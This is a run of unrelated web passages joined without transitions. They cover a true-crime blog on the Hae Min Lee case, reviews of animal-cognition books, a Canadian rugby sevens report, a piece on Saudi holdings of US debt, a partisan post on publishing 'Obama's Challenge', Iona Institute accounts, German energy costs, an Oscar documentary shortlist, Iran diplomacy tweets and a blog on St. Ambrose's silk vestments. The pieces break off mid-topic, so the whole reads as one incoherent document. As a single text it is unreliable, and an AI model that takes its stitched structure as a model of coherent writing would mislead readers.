I have yet to find anything that makes sense. It can’t be something like a continuous pattern on tile, or the back of a van, or even mattress design because the marks are not all over her body. They are in three distinct, discrete places. The marks get lighter from the right to the left. Could it be one single item that made the marks, if her body was moved around over it? Or was it three different items?
Was it a harness clip, the back of a man’s suspenders, a belt buckle, a rubber stopper, a money clip, a piece of flat plastic thats part of something like a toy, a hinge, what is it? I’ve spent hours searching images online. And still have not found a perfect fit.
Whatever it is, it is either tied to where she was killed, or tied to who killed her. It is either something that is found in the place she was killed, or it belongs to the killer.
A killer who had the opportunity to hide her, laying flat somewhere, likely unclothed from the waist up, for around ten hours as lividity fixed, and then move her to Leakin Park in the dead of night.
We will figure this out. I’m positive. God didn’t bring us this far for nothing.
Keep searching everyone, and keep sending us your suggestions. We need all hands on deck for this one.
NOTE: I spoke at a law school a few weeks ago and one of the faculty members, who has run the school’s criminal law clinic for 40 years, was adamant with me about his theory that her body could not have been in the woods for that many weeks without animal activity. He insisted that a place like Leakin Park, which has its own wildlife like foxes, but also urban pests like rats and mice, will immediately begin to gnaw at certain parts of a body. Eyes, nose, ears, digits to begin with, they go within days in the outdoors. He said insects growth is unavoidable in that many weeks, and he refused to believe she had been there that long. According to him, because her body showed absolutely no signs of animal activity, she could not have been there more than a couple of days.
I don’t know what to make of his theory, but if there are folks with expertise who have thoughts on this, please do tweet at me or send a message through the Undisclosed facebook page.
“K”
K is Adnan’s ex-wife, though she says she still thinks of him as her husband. They were married for two years, having met when Adnan was incarcerated in Jessup, before he was moved to the supermax facility where he’s currently housed.
K, whose name I’ll give at some point, wants everyone to know what she thinks about Adnan. We spoke at length in a recorded conversation last week, and the story of their relationship is both remarkable and heart breaking. It will be told, but just not yet.
Vincent J. Musi/National Geographic/Getty
It’s one of humanity’s oldest questions – the hunter, the herder and the harried modern pet owner have all at some point gazed at an animal and (with rather diverse intentions) mused “I wonder what he’s thinking?” and “Do they see the world like we do?”
Many books this year have either touched on, embraced or dived fully into the topic. One of the more intriguing is Danna Staaf’s Squid Empire: The rise and fall of the cephalopods (University Press of New England). It tells the 400-million-year story of a group that once comprised the planet’s top carnivores, to say nothing of lineages that diversified into scavengers, grazers and even filter feeders.
Take a water jet-propulsion system, a brain with mammal-grade thinking skills, and optically excellent eyes. Add tentacles and an ability to communicate using colour via direct nerve-control of skin patches, and as Staaf makes plain, you have a smart and dexterous group of animals that, if not for a couple of evolutionary cataclysms, would probably be running the planet right now. This in-depth coverage of an often neglected but ecologically vital group will change your view of squid, octopuses and their relatives, and make eating calamari feel like cannibalism.
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In contrast to the dynamics of Staaf’s squid, Juli Berwald’s Spineless (Riverhead Books) takes us into the, at first glance, rather more passive world of jellyfish. These creatures seem an exercise in evolutionary minimalism, with just two layers of cells – the eponymous jelly and some simple bands of muscle – combining to produce elegant propulsion mechanisms. They have no central brain, yet they see and sense, and have been astonishingly successful for more than 500 million years.
Berwald’s exposé of the biology beneath the curved and tentacled dome is combined with a personal odyssey as, after a decade of mothering, she returns to marine science to study jellyfish swarms in the ecologically askew regions of the world’s oceans.
Different thinking
A very different approach is taken by Deep Thinkers: Inside the minds of whales, dolphins, and porpoises (University of Chicago Press). Edited by marine biologist Janet Mann, the experts in this volume explore the whys and wherefores of cetacean thinking. There are chapters on cognition, tool use and communication, analyses of cetacean social lives, and anatomical studies. In keeping technical language to a minimum and matching the clearly written text to beautiful illustrations and clear and concise diagrams, Mann and her collaborators have produced an evocative summary of what it is to be whale.
Copyright Bryant Austin; from Deep Thinkers (Ivy Press, 2017)
The first chapter of Deep Thinkers shows just how hard it is to study even very large mammals in a place as huge and complex as the ocean. So working on dog intelligence should be a walk in the park. After all, graves containing dogs alongside humans date back 14,000 years, and dogs were probably helping with the mammoth hunt much earlier than that.
Yet neuroscientist Gregory Berns’s What It’s Like to be a Dog, and other adventures in animal neuroscience (Basic Books) reveals that our understanding of why dogs behave the way they do is far less intuitive than we might imagine. We may be able to predict their responses pretty well, pretty often, but the reasons we ascribe to their actions are very much based on our interpretations of how things work.
For a dog’s-eye and nose perspective, we need to get inside their heads – and this is where MRI and the author’s special expertise come in. Berns mixes personal stories of dogs and dog lovers with elegant scientific experiments that show the surprising complexity behind many canine daily behaviours: a fun, fascinating and illuminating read.
True personalities
Every pet lover knows that animals are highly individualistic in their likes, dislikes and general being. Farmers and zookeepers say the same of the animals in their care. But, somehow, it was always assumed that this was an artefact of captivity. Safe and well-fed, such animals could, like a pampered aristocrat, indulge in behavioural whims and eccentricities.
Well before the third chapter of Mousy Cats and Sheepish Coyotes: The science of animal personalities (Beacon Press), wildlife biologist John Shivik will have convinced you otherwise. Elephants mourn their lost loved ones and suffer post-traumatic stress after poaching, bonobos read emotional situations and resolve conflicts, marmosets exhibit grief: with this level of emotional sophistication, why wouldn’t they show personalities too? And the examples roll in, from all branches of the zoological family tree – brave chickens, innovative otters, left-handed wallabies…
When scientists studying behaviour considered animals to be little more than stimulus-bound and instinct-wired robots, to be accused of anthropomorphism was a social calamity. Now “smart”, “cowardly”, “exuberant” and “shy” are considered descriptive epithets connoting a researcher’s empathy, dedication and field-won insight, rather than lab-coat-shaming emotional overspill.
What he saw in 13th-place finishes in Dubai and Cape Town ran the gamut.
“There were lots of really positive things,” the English native said. “In terms of performance on the field, some things that gave me great hope and other things where the inconsistencies of previous times are obviously still there. So it’s a lot to work on.
“I think the thing that’s hit me most of all is that we lack strength in depth. That’s got to be our priority in the next 12 months.”
Canada went 2-3-1 in Dubai and 2-4-0 in Cape Town.
McGrath will get another look at his squad in action this weekend in Wellington and Feb. 4-5 in Sydney.
John Moonlight gives way as captain to Harry Jones in New Zealand and Nate Hirayama in Australia. Moonlight, who appeared in his 50th Series event in Cape Town, is on the roster but temporarily steps down as skipper because he missed several weeks training with the team due to his preparations to become a fire fighter.
“He’s too important a player to do without,” McGrath said. “I’m really pleased that John’s going to be available.”
Injuries have not helped the cause with three players going down during one ill-fated passage of play in a 43-14 loss to Argentina in Cape Town.
Phil Berna subsequently required arm surgery while Liam Underwood remains out after aggravating a shoulder injury. Pat Kay hurt his hand but has since recovered.
Canada will face Wales, Scotland and Russia in Pool D in Wellington where Isaac Kaay gets his first senior call-up. This season Canada is 1-0 against Russia, 0-1 against Wales and has yet to face Scotland.
The Canadian men are 13-30-1 all-time against Wales, 11-16 against Scotland and 16-8 against Russia.
“We got a couple of tough draws in the previous two legs. Nothing’s ever easy but I’m hoping that gives us a fighting chance of maybe grabbing a quarter-final place,” McGrath said of his Wellington pool.
In the first two Series stops, Canada dug itself some deep holes and mounted some stirring comebacks.
McGrath says the mistakes can be fixed. And he took some of the blame, saying because of his short time with the team he had not focused on set pieces.
Retaining or winning the ball at kickoffs — a key skill in sevens where ball possession is all-important — had been a strength last season. But the Canadians had their problems right out of the gate.
“Our kickoffs were awful for one reason or another … That was our big Achilles heel throughout the whole two weeks of competition — our inability to get our hands on the ball for a period of time,” the coach said. “When we did, we scored some good tries. When we didn’t, we chased around and suffered for it.
Against France in Cape Town, McGrath estimated it was 6 1/2 minutes before his team touched the ball. Canada trailed 28-0 going into the half and subsequently lost 42-14.
“We never lose, we always learn. And we learned a valuable lesson in several things,” McGrath said of the first two stops. “So I’m confident that if we can get those little things right, it will put us back on an even keel.
“We showed against New Zealand and Fiji at different times we can match with the big boys and have success. We need that consistency in our play.”
Against Olympic champion Fiji in Dubai, Canada reeled off 19 straight points after falling behind 19-0, only to lose 26-19 on a last-ditch try by the Pacific Islanders.
In Cape Town, Canada rallied from a 14-0 deficit to tie New Zealand 19-19 on a late Justin Douglas try. The All Blacks did not help themselves, with some poor ball handling at the close as they seemed destined for a go-ahead score.
“Those things give me a lot of hope for the future,” said McGrath, who nevertheless hopes his team won’t make life so difficult on itself in Wellington and Sydney.
The Canadian coach also savoured a 26-24 win over Samoa, the team that fired him last year. In that game, Canada rallied from a 17-0 hole to win on a late Kay try.
Day one schedule (Friday in Canada, Saturday in New Zealand)
vs. Scotland 2:23 p.m. PT
vs. Wales 5:24 p.m. PT
By virtue of its vast oil riches, the Saudi kingdom is widely believed to be one of the biggest owners of U.S. debt.
But there's a lot of mystery over exactly how much. The Saudi central bank is sitting on an incredible $584 billion of foreign currency reserves, but doesn't disclose how much of that is parked in U.S. Treasuries.
The U.S. Treasury Department does not really divulge that information either, even though it breaks out the amount of U.S. federal debt held by most countries such as Japan, China or Russia. Since the 1970s, Saudi Arabia's holdings of Treasuries are lumped together with that of other oil exporting nations like Venezuela and Iraq. Collectively, these nations hold $281 billion of Treasuries.
"We did it many years ago to smooth relations," Edwin Truman, a senior Treasury Department official during the 1990s, said of the Saudi move. "It's an anachronism and foolish."
A Treasury spokesperson declined to tell CNNMoney whether the policy is being revisited. She simply cited U.S. policy to pool Treasury ownership stats together where detailed reporting "might disclose the positions of individual holders."
Related: Foreign governments dump U.S. debt at record rate
The Saudi mystery has taken on greater urgency these days. Since the end of 2014, the Saudis have burned through $139 billion of reserves -- almost definitely a portion of it came from selling U.S. debt -- as the country grapples with the budget shortfalls brought on by the oil crash.
There have also been rising tensions between the U.S. and Saudi Arabia ahead of President Obama's trip there on Wednesday.
Sources told CNN that Saudi Arabia recently threatened to sell off American assets if Congress passes a bill that would allow 9/11 victims to sue foreign governments.
A source familiar with the Saudi asset portfolio told CNNMoney the government is "serious" about this. "If Congress goes ahead with passage of that legislation, there has to be a response," the source said.
Related: Saudis warn of economic reprisals if 9/11 bill is passed
Dumping a huge amount of U.S. debt at one time would likely cause Treasuries to tank, potentially destabilizing financial markets.
In response, White House spokesman Josh Earnest told reporters on Monday: "I'm confident that the Saudis recognize, just as much as we do, our shared interest in preserving the stability of the global financial system."
The Saudi threat strikes many experts as empty because it would amount to a fire sale that would likely severely hurt the value of the Saudis' own holdings. And any ripple effects on the U.S. dollar could also backfire because the Saudi riyal is pegged to the dollar.
"It's not a realistic threat, at least not in a rational world," said Truman. "My suspicion is the political side of the Saudi government is talking -- and it's not a position shared by the financial side of the government."
Prince Mohammed bin Salman, the deputy crown prince and son of the king, has recently consolidated power over financial decision making. However, Fitch Ratings recently warned it's unclear how much support the deputy crown prince has within the royal family and the power grab has "reduced the predictability of decision-making."
Related: Fitch: Political risks rise in Saudi Arabia
Even if the Saudis go through with their asset sale, Guy LeBas, chief fixed income strategist at Janney Capital Markets, believes the U.S. bond market would quickly recover.
"Demand right now is so enormous that there are plenty of other buyers who could absorb that," said LeBas.
The Saudis would be risking their cozy relationship with the American military. The Fifth Fleet of the U.S. Navy protects shipments in the Persian Gulf, including the supertankers carrying Saudi crude. And some U.S. lawmakers already want to restrict American arm sales to Saudi Arabia.
"The Saudi government for 70 years has survived on a deep security relationship with the United States. I don't think they want to trash that relationship," Jon Alterman, director of the Middle East program at the Center for Strategic and International Studies, told CNN.
Certain members of the Saudi royal family also have other ties with prominent U.S. businesses. For example, Prince Alwaleed Bin Talal is a significant shareholder in Twitter (TWTR) , Rupert Murdoch's Twenty-First Century Fox (FOXA) and even ride-sharing platform Lyft.
Saudi Arabia has never been formally implicated in 9/11 and the kingdom has long denied it had a role. However, many 9/11 hijackers were Saudi nationals and there is much controversy over 28 pages of the 9/11 Commission Report that remain classified and are believed to focus on the role of foreign governments.
Terry Strada, whose husband died in the 9/11 attacks, believes the Saudi asset dump threat speaks volumes.
Let's do worst first, and review the life-so-far of a book that is truly the avatar of wingnut-inspired foolishness, incredulity, darkness and despair: Obama Nation by WorldNetDaily writer and swift-boating smear-lackey Jerome Corsi. This 384-page menace of malicious libel and slander was ushered onto the New York Times and Amazon bestseller lists by longtime GOP hack-cum-editor Mary-Mrs.-James-Carville-Matalin, aided by bulk buys from right-wing membership groups and the Conservative Book Club, and via right-wing talk radio and Fox News Channel. It has now received nearly two straight weeks of saturation mainstream media coverage, including a front-page news story and excerpt in the Times.
The sad thing, however, is that this pathetic excuse for a book is just one more example of how the right effectively coordinates and moves their ideas (and lies) into the national discourse, while the left seems unable or unwilling to absorb the important lesson about supporting progressive books so they, too, will debut on bestseller lists, monopolize media coverage and--say it with me now: DRIVE PROGRESSIVE IDEAS INTO THE NATIONAL DISCOURSE.
Even more sad? This week, a hefty faction on the left--primarily independent booksellers (following Barnes and Noble's lead)--is actively boycotting a brave attempt to bring the book-publishing industry into the 21st century, and effectively trying to keep a progressive, pro-Obama (and fact-based) title called Obama's Challenge out of the marketplace of ideas. This is a book that Hendrik Hertzberg at The New Yorker calls "the fruit of [American Prospect co-founder] Bob Kuttner's lifetime of engagé reporting, analysis, and advocacy," and goes on to say that the book "was written in a white-hot fever of urgent inspiration over mere months. I've been carrying around a draft manuscript for most of the week, reading it in every spare moment--on the subway, on the street, during stretches of Olympic longueur...it's riveting, brilliant, and persuasive."
The Obama's Challenge 75,000 print-run is on a crash schedule, due out September 15, from the independent, activist publishing house Chelsea Green (full disclosure, I worked as an editor/marketer for the house from 2004-2006) in an effort to help fight the smears against Obama in time for the election. The book will go from final edits to bound books in less than four weeks. With so little lead time until the book's publication date, Chelsea Green publisher Margo Baldwin decided to try an innovative approach for building early buzz by making 2000 early copies of the book available at next week's Democratic National Convention, as part of a deal with Amazon's print-on-demand arm, BookSurge.
Baldwin says, "This election is too important to wait around for traditional publishing lead times. The book needs to come out now if it's to have a major impact."
You might think, just as the right rallies around their books to push them onto bestseller lists to monopolize the national debate, that the left might do something similar with Obama's Challenge. You would be wrong--at least so far.
Instead of receiving kudos for taking the financial risk of publishing an instant pro-Obama book, Chelsea Green is facing angry calls for regressive business tactics based on an archaic system of book distribution, and cancelled orders from booksellers large and small. These business-related, bookseller reactions are in addition to the usual apathy, which meets most progressive books upon their debut, from the very community (Democrats and progressives) that would benefit most from seeing those books sell well in the marketplace, and again, say it with me now: DRIVE PROGRESSIVE IDEAS INTO THE NATIONAL DISCOURSE.
When news of the deal broke on August 15th, independent booksellers and other online retailers were enraged about the deal with BookSurge, which has Amazon providing the 2000 early copies for the Convention, and 15,000 coupons for the book to go into Convention goody bags, redeemable at Amazon. The deal also makes the book available exclusively through BookSurge's print-on-demand (POD) service from August 25-September 15, when the formal print-run would be available in all bookstores and via other online retailers, through traditional book distribution channels.
On Monday, former indie nemesis Barnes and Noble cancelled an order for 10,000 copies of Obama's Challenge and released a statement saying, "The initial order was based on the book being available to all booksellers simultaneously -- an even playing field -- which is common practice in book publishing." Many smaller stores are following suit.
Let's first address the book industry hypocrisy and misinformation. Given the crash schedule, why should a small independent publisher be punished for making a creative deal to get early copies of a book out, so that more people can then learn about the book--and then ask for it at their local book stores or buy it online from another retailer? Without the usual lengthy lead-time, Chelsea Green had no other viable option for meeting the Convention week deadline, when the book can be presented to Democrats and progressives who will benefit from the information therein in the lead-up to the presidential election. There is "no level playing field" for progressive independent publishers, whose books are bought in ones and twos from independent booksellers, while corporate houses' offerings and dreck like the Corsi book are bought in bulk and get front-of-store, table-top display treatment. And, as PW reported:
Hut Landon, executive director of the Northern California Independent Booksellers Association, said he was "disheartened" with Chelsea Green's "decision to exclude independent booksellers." He said the BookSurge/Amazon option could be copied for independents who also take advance online orders and fulfill them through POD.
Not. In fact, Baldwin did attempt to forge a deal with another (and perhaps more acceptable to independent booksellers) provider of print-on-demand services, Ingram's Lightning Source, but was told they could not meet the Convention deadline. Yesterday, I tried to find information via the indie sellers' marketing arm, Indiebound, and was told that they announced a POD service in July, but this was too late to meet the DNC deadline as well. Sure, now publishers can work with an indie POD option, but it simply was not an option for Obama's Challenge, and why should Chelsea Green be made an example of by the likes of corporate giant Barnes and Noble? This out-dated distribution system needs to be reformed, to be more nimble and flexible for instant books. We have the technology! Or, maybe we should just go back to using the plough, too?
The other problem here is that once again, a meticulously-reported and intelligent progressive book may die on the vine, from lack of progressive support, before word of it reaches the American public. On our side, we have no wingnut-welfare type support for our writers, who take the time to write and promote their work tirelessly in an effort to advance the progressive cause. Despite the odds, a precious few scratch and claw their way onto bestseller lists post-pub date, after tortuous weeks of book-touring and self-promotion, in the face of giant collective yawns from the progressive community. Most go to all this trouble, and still don't make the lists.
This, despite the right's tutelage about what works, and some strong progressive book examples of what is possible when we all work together. I know something about this, having ushered George Lakoff's Don't Think of an Elephant onto the bestseller lists back in 2004 while at Chelsea Green, and later doing the same for Glenn Greenwald's How Would a Patriot Act? at Working Assets.
In Lakoff's case, we had nearly 40 progressive groups, and all the progressive media rally around the book, putting it on their web sites and sending out email blasts urging people to buy the book. In Greenwald's case, word of the book spread like wildfire on the progressive blogs, shooting it from obscurity to the number one spot on Amazon in one day--and keeping it there for four--which led to a spot on the Times list. These were seminal books for the progressive movement, successes that helped to make progressive ideas thrive once again in the marketplace.
Yet, despite these examples and my incessant evangelizing about what we could accomplish if progressive membership and media groups and the blogs would regularly work together to promote progressive books, we apparently prefer to watch the right manipulate the system time and time again, and get books like Corsi's splashed all over American media.
Where are our side's bulk buys for important books like The Uprising, The Real McCain and Obama's Challenge? Where is the blanket coverage from progressive media? Why don't we find ways to support our writers, so they can afford to keep advancing progressive causes? Why can't we see more wildfire, viral mentions of progressive books throughout the blogosphere? To be fair, the book salons on some of the blogs, like Firedoglake and TPM, have done a great deal to advance the cause of certain progressive books, but we have to do more in order to counter-balance right-wing radio and Fox News Channel. And the Progressive Book Club, while a necessary effort, is still to new to be making a dent.
I hate to tell you, indie booksellers, but this isn't just about business. It's about activism and defeating the right, and getting our messages and ideas out in the most effective ways possible. It's about not shooting ourselves in the proverbial foot, again. A few thousand POD copies of Obama's Challenge will lead to more people walking through your doors and asking for the book before the election. Boycotting this book is a mistake, and you know it. Instead of looking backward, find ways to advance your own innovative models and POD services with publishers and the public.
And Barnes and Noble? You're not fooling anyone with your fake holier-than-thou act.
The Iona Institute is a trading name of Lolek Company Limited by Guarantee, a non-profit entity with the stated objective of promoting and advancing “marriage and religion in society”.
Accounts just filed to the Companies Office show that the firm has accumulated cash reserves of more than €300,000 ahead of a possible referendum campaign on the issue of abortion.
The Institute spent almost €200,000 on its campaign for a No vote in the same-sex marriage referendum in 2015.
Last year, Lolek received donations totalling €273,042 and had boosted its cash reserves by 20 percent to €304,032 at the end of 2016.
There is no breakdown in the accounts of the source of the donations.
The institute said that in 2014 it was employing an intern but in 2015 it hired a research officer in his place. It said the appointment was the reason for the increase in staff pay rather than existing staff receiving a raise.*
Overhead costs Other overhead costs for the firm included consultancy, research and speaker fees totalling €48,079; as well as travel and entertainment costing €10,149. A total of €18,189 was spent on advertising and market research.
Dr Murray is a lecturer at Mater Dei Institute of Education, while Tom and Sean Ascough have been involved in youth evangelisation programmes for a number of years, according to the Iona Institute website.
Mr Hamilton is the principal of Rockbrook Park, a private school affiliated with Opus Dei.
The donations received by Lolek during 2016 represented an increase of 82 percent compared to the previous year, although the yield for 2015 was supplemented by donations of €205,607 received separately for use in the same-sex marriage referendum campaign.
On its website, the Iona Institute states that it promotes the place of marriage and religion in society, while also promoting freedom of conscience and religion. It is headed by religious and social affairs commentator David Quinn.
The Institute is expected to play a prominent role in any future referendum campaign on the Eighth Amendment and the issue of abortion.
On Saturday, the Citizens’ Assembly voted to recommend a Constitutional referendum to amend the existing abortion ban, and the body met again Sunday to deliver its final decision.
Chemicals make our lives immensely better. Without them, we’d be catapulted back to Stone Age, fully exposed to nature’s merciless brutality.
Trade union and chemical industry bosses in Germany warn Merkel of the consequences of high electricity prices. Source: Wikipedia, public domain photo
Processing chemicals, however, sometimes involves large amounts of energy. Therefore, in their quest to provide customers with affordable products, processing companies need affordable energy. Today this is no longer available in Germany, which has taken a blind leap into renewable energies. Now electricity rates are skyrocketing out of control.
Spooked, chemical processing companies and the labor unions in Germany have sent an urgent letter to Chancellor Merkel, so writes Der Spiegel here. Hat-tip: Karl Rannseyer at Facebook. Spiegel writes:
The letter to the Chancellor is anything but friendly: According to a newspaper [Handelsblatt] report, the chemicals sector has warned Angela Merkel of rising electricity costs due to the energy transformation to renewables – the competitiveness of the branch is at stake.”
The letter warns:
If the chemicals industry loses its competitiveness, not only Germany as an address for production and research will be at stake, but also the entire industrial network as a whole will be dragged into into a painful situation.”
The latest stage in the game is the release of a shortlist of documentaries that will be considered by the Academy of Motion Picture Arts and Sciences for nomination for the Best Documentary Oscar early next year. (This is not the nomination list — that will be released in January.) There are a few nice inclusions (such as our Sundance fave Searching for Sugar Man), some expected inclusions (The Invisible War, The Imposter, How to Survive a Plague) along with a batch of other possible nominations that we can all argue over.
Here’s the press release:
BEVERLY HILLS, CA – The Academy of Motion Picture Arts and Sciences today announced that 15 films in the Documentary Feature category will advance in the voting process for the 85th Academy Awards®. One hundred twenty-six pictures had originally qualified in the category.
The 15 films are listed below in alphabetical order by title, with their production companies:
“Ai Weiwei: Never Sorry,” Never Sorry LLC
“Bully,” The Bully Project LLC
“Chasing Ice,” Exposure
“Detropia,” Loki Films
“Ethel,” Moxie Firecracker Films
“5 Broken Cameras,” Guy DVD Films
“The Gatekeepers,” Les Films du Poisson, Dror Moreh Productions, Cinephil
“The House I Live In,” Charlotte Street Films, LLC
“How to Survive a Plague,” How to Survive a Plague LLC
“The Imposter,” Imposter Pictures Ltd.
“The Invisible War,” Chain Camera Pictures
“Mea Maxima Culpa: Silence in the House of God,” Jigsaw Productions in association with Wider Film Projects and Below the Radar Films
“Searching for Sugar Man,” Red Box Films
“This Is Not a Film,” Wide Management
“The Waiting Room,” Open’hood, Inc.
From the New York Times editorial today:
The Iranians were so angered by what they called Mr. Netanyahu’s “inflammatory” speech that they issued a rebuttal and spoke of the need to “sustain the current positive atmosphere” so that diplomacy could be successful. Similarly, they were not happy that Mr. Obama, meeting Mr. Netanyahu at the White House on Monday, took a harsher tone toward Iran than he did when he spoke by phone with Mr. Rouhani last week.
Yes, the Iranian Foreign Minister called Obama macho:
Pres.Obama’s presumption that Iran is negotiating because of his illegal threats and sanctions is disrespectful of a nation,macho and wrong. — Javad Zarif (@JZarif) October 1, 2013
Macho because Obama said that the military option is on the table, something he didn’t say at the U.N. From Obama’s appearance at the White House:
given the statements and actions from the Iranian regime in the past — the threats against Israel, the acts against Israel — it is absolutely clear that words are not sufficient, that we have to have actions that give the international community confidence that, in fact, they are meeting their international obligations fully, and that they are not in a position to have a nuclear weapon. What I also shared with the Prime Minister is that, because of the extraordinary sanctions that we have been able to put in place over the last several years, the Iranians are now prepared, it appears, to negotiate.
The Iranian Foreign Minister says Obama is flipflopping, and Rouhani retweeted that:
President Obama needs consistency to promote mutual confidence. Flip flop destroys trust and undermines US credibility. — Javad Zarif (@JZarif) October 1, 2013
The Times explains that Obama is playing to the Israel lobby.
Both Mr. Obama and Mr. Rouhani have hard-line domestic audiences and allies that they will need to consider and cajole as they undertake this effort to resolve the nuclear dispute and develop a new relationship. For Mr. Obama, that means working closely with Israel and helping Mr. Netanyahu see that sabotaging diplomacy, especially before Iran is tested, only makes having to use force more likely. That would be the worst result of all.
It’s about time they told us about that hard line domestic audience that commands the president’s tongue!
The Iranians are certainly aware of the lobby. From the apparently-official twitter handle, Meet Iran:
#Rouhani: We should fill void of [lack of] Iranian #lobby in #US, so that some will try 2reflect our views to public. #Expats can play role — Meet Iran (@MeetIran) October 2, 2013
There’s evidence that the charm offensive is working. At the Forward, Larry Cohler-Esses reports that a group of congresspeople spent 3 hours — that’s three hours — at the home of the Iranian ambassador with the Iranian Foreign Minister the other day.
On Sunday, Iranian Foreign Minister Mohammad Javad Zarif met with a delegation of Congress members from both parties for three hours at the home of Iran’s UN Ambassador. “There were a lot of members present,” said Marshall Breger, a former senior official in the administrations of Presidents Ronald Reagan and George H.W. Bush, who was there. “And they included people normally considered hawkish.”
And here is Scott McConnell at the American Conservative saying that Americans may well learn to love Iran. Just as they learned to love China after the China opening in the 1970s.
Recall: in 1971, American elites fell in love with China. The “China Lobby”—that large complex of anti-communist Chinese and Americans with personal and professional ties to China who felt jilted by the Revolution and which had prevented any rapprochement until then—proved to be a proverbial “paper tiger” once President Nixon decided to reach beyond it. American elites were suddenly enthralled by ping pong and pandas. New York Times columnist James Reston had an appendectomy with no anesthetic beyond acupuncture, and it worked out wonderfully—and became the source of hundreds of respectful news stories about Chinese medicine. For years, China was the new flavor on the block. Growing ties with China were the backdrop to everything: America could be humiliated in Vietnam and the world hardly noticed. Iran, of course, is a smaller deal—smaller in its size, cultural and military weight, and aspirations. But it is a Muslim country that is highly educated (which seems to be the nexus of the problem for Washington’s hawks) and is moving seriously towards democracy. It is not Saudi Arabia, whose ruling princes have all the corruptions and weaknesses associated with vast unearned wealth. Iran has all the traits of a modernizing state—mass literacy, mobilized working classes. It has managed to hold its head high throughout almost 30 years of confrontation with Washington. It promises a vast market for American businesses to help rebuild its infrastructure. My guess is that many Americans will fall in love with the place—or at least with the combination of exoticism and profits that detente with Iran promises.
Speaking of exoticism and profits, Hassan Rouhani hints he wants to start direct flights between the US and Iran, as an overture to Iranian expatriates.
#Breaking — @HassanRouhani orders investigation into opening of direct Iran-US #flights to facilitate coming and going of Iranian expats. — Meet Iran (@MeetIran) September 30, 2013
NOW: Iranians abroad are national capital. Let us, the Gov. & Parliament, facilitate their return to #Iran — Hassan Rouhani (@HassanRouhani) October 1, 2013
Finally, the Iranian president is publicizing a CNN piece on the Jewish community in Iran, said to be the largest outside of Israel in the Middle East.
“I only prefer to live in Iran,” says Ciamak Morsadegh, a Jewish legislator. “There is a great difference between being a Jew and being pro-Israeli or Zionist. I think the behavior of the Israeli regime is not in the direction of Torah and Talmud…”
http://www.sciencedaily.com/releases/2014/09/140902093212.htm
To put Ambrose (born Aurelius Ambrosius, c. 340 C.E.) into historical perspective, he lived only a lifetime after Emperor Constantine changed the official Roman religion to Christianity (313 C.E.) and moved the imperial capital city east to Constantinople in May of 33o C.E. Milan was a wealthy city in northern Italy, and it was sometimes used by Roman emperors in their travels as an alternate home. Ambrosius was well known to Emperors Valentinian II and Theodosius.
Ambrosius, besides being the patron saint of Milan, which he governed, was also the patron of bees, beekeepers and candlemakers. And more useful for our needs, he was also the patron saint of children, learning, and students.
Silk was very precious in Europe in the 4th century C.E. According to current scholarship, Byzantium and Rome were still importing all of their raw materials (reeled silk) from China and the near east. Imperial Byzantine silk-weaving workshops often held specific weaves and colors for distribution by the emperors as diplomatic gifts. Ambrose must have had considerable political importance to have been given such sumptuous garments. However, Dr. Sabine Shrenk, the archaeologist working with these textiles, suggests, as a result of this find, that silk textiles were being woven in Italy by this time, even if still from imported silk threads.
http://afghanistan.asiasociety.org/timeline/30/CE/300
“These are marvelously beautiful vestments of sumptuous silk that have been ascribed to the saint,” says Professor Dr. Sabine Schrenk of the department of Christian Archaeology at the University of Bonn. One of them has intricate depictions of hunting scenes with trees and leopards, while the other valuable textile is kept rather simple.” (Science Daily article cited above)
Textiles woven with hunt scenes, trees, and leopards are a genre of silks associated with royalty. Lions, tigers, and leopards, have been the preferred quarry of kings since the Sassanian rulers of the 8th c. B.C.E. The motif continued to be woven for hundreds of years, and spread to Muslim workshops which produced textiles in Spain, Italy, and Syria through the 1300s.
Many fragments of silks with hunting themes have survived (likely because they were too valuable to make rags from). The elaborate textile in St. Ambrosius’ tomb may encourage scholars to date more of the extant, intricate examples earlier. In general, the multi-colored silks with hunters and roundels have been dated to the 7th or 8th century.
Here are some of the other hunting silks that have survived the centuries, so you can get an idea of what St. Ambrosius was dressed in:
The silk on the left was found in a reliquary in the Museum of Sacred Arts, the Vatican, Italy. The silk on the right was formerly in the tomb of St. Calmin in Mozac, and now is in the Musee des Tissus in Lyon, France. Both have been dated approximately to the 8th century C.E. Fewer silks remain from the 5th century.
The article below adds that Saint Ambrosius brought the custom of relic worship to Milan. This was an early-Christian practice where a piece of bone, hair, or some other body part associated with a holy person was kept in a church, wrapped in scraps of luxury textiles, in a richly-decorated case of some kind. Imported silk textiles were often used as wrappings because their value was properly sumptuous for these precious objects. It was believed that such objects offered the worshipper closer access to the holy person’s (e.g. Jesus, Mary, one of the apostles or saints) goodwill when the believer venerated the objects. Many churches collected such objects to give their churches greater spiritual significance. The cases housing the relics were often very highly decorated, made of precious metals, and trimmed with jewels. Here are a couple in the collection of the Metropolitan Museum of Art:
The reliquary on the left is Byzantine cloissone, late 8th century.
The reliquary on the right is French, 13th century, but added to in the 15th century.
You can read more about these here:
http://www.metmuseum.org/toah/hd/relc/hd_relc.htm
Also, a quick search in ArtStor brings up thumbnails of many more:
http://tinyurl.com/ohphscv
The author of this history blog puts Ambrosius’ bishopric into historical perspective, detailing how the saint stood up to several Roman emperors and potential invading forces, while creating his own rich court in Milan.
http://www.sciencedaily.com/releases/2014/09/140902093212.htm
In this blog, a researcher tried to imagine himself making the journey of a merchant along the silk road around Ambrose’s time.
http://www.metmuseum.org/exhibitions/listings/2012/byzantium-and-islam/blog/material-matters/posts/woven-silk
http://www.metmuseum.org/toah/hd/coin/hd_coin.htm
These sites discuss histories of the trade routes, the spread of the silk industry throughout Europe, and other materials traded along these routes.
The Metropolitan Museum of Art did two major exhibitions on the history and art of Byzantium. We have the catalogs from these shows:
The Glory of Byzantium: Art & Culture in the Middle Byzantine Era, A.D. 843-1261, ed. by Helen C. Evans and William D. Wixom.
This is the catalog from the first big exhibition at the MMA.
Byzantium: Faith and Power (1261-1557), ed. by Helen C. Evans.
This is the catalog for the second big exhibition by the MMA.
Byzantium: from the Death of Theodosius to the Rise of Islam, by Andre Grabar.
This is an older history, but considered quite well done.
A History of Private Life, ed. by Philippe Aries and Georges Duby,
The first essay in this book is about everyday life from the Roman Empire through the Byzantine.
The Oxford History of Byzantium, by Cyril A. Mango.
This is a recently finished general history.
Studies in Silk in Byzantium, by Anna Muthesias.
Anna Muthesias is the recognized expert on Byzantine textiles and the workshops that produced them.
The Embodied Icon: Liturgical Vestments and Sacramental Power in Byzantium, by Warren Woodfin.
